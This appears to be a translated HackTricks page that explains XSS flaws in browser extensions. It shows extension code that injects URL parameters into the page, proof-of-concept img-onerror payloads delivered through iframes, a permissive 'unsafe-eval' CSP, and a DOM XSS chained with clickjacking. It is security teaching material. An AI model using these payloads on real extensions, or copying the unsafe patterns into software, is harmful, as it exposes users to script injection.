7.4 KiB
BrowExt - XSS Örneği
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Iframe Aracılığıyla Cross-Site Scripting (XSS)
Bu yapılandırmada, bir içerik betiği Iframe'in örneklendirilmesi için kullanılır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL eklenir:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Halka açık bir HTML sayfası olan message.html
, URL'deki parametrelere bağlı olarak belge gövdesine içerik eklemek için tasarlanmıştır:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Bir kötü niyetli betik, saldırganın sayfasında yürütülür ve Iframe'in kaynağının content
parametresi değiştirilerek bir XSS saldırı yükü eklenir. Bunun için Iframe'in kaynağı zararlı bir betik içerecek şekilde güncellenir:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Aşırı izin verici bir İçerik Güvenlik Politikası örneği:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
JavaScript'in yürütülmesine izin vererek, sistem XSS saldırılarına karşı savunmasız hale gelir.
XSS'yi tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynak olarak zararlı betiği content
parametresi olarak ayarlamaktır:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-tabanlı XSS + ClickJacking
Bu örnek, orijinal yazıdan alınmıştır.
Temel sorun, /html/bookmarks.html
konumunda bulunan bir DOM-tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Sorunlu JavaScript, bookmarks.js
'nin bir parçası olarak aşağıda detaylandırılmıştır:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Bu kod parçacığı, txtName
giriş alanından değeri alır ve HTML oluşturmak için dize birleştirme kullanır. Oluşturulan HTML daha sonra jQuery'nin .append()
fonksiyonu kullanılarak DOM'a eklenir.
Genellikle, Chrome eklentisinin İçerik Güvenlik Politikası (CSP) bu tür güvenlik açıklarını engeller. Ancak, 'unsafe-eval' ile CSP gevşemesi ve jQuery'nin DOM manipülasyon yöntemlerinin (DOM ekleme sırasında eval()
fonksiyonuna betikleri iletmek için globalEval()
kullanması) kullanılması nedeniyle, sömürü hala mümkündür.
Bu güvenlik açığı önemli olsa da, genellikle kullanıcı etkileşimine bağlı olarak sömürülür: sayfayı ziyaret etmek, bir XSS yüklemesi girmek ve "Ekle" düğmesini etkinleştirmek.
Bu güvenlik açığını artırmak için ikincil bir clickjacking güvenlik açığı sömürülür. Chrome eklentisinin manifest dosyası geniş bir web_accessible_resources
politikasını sergiler:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Özellikle /html/bookmarks.html
sayfası çerçevelenmeye müsait olduğundan dolayı clickjacking saldırısına karşı savunmasızdır. Bu zafiyet, saldırganın sitesi içinde sayfayı çerçevelemek suretiyle, arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleriyle örtüşmesini sağlar. Bu manipülasyon, kurbanların istemeden altta yatan uzantıyla etkileşimde bulunmasına yol açar.
Referanslar
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.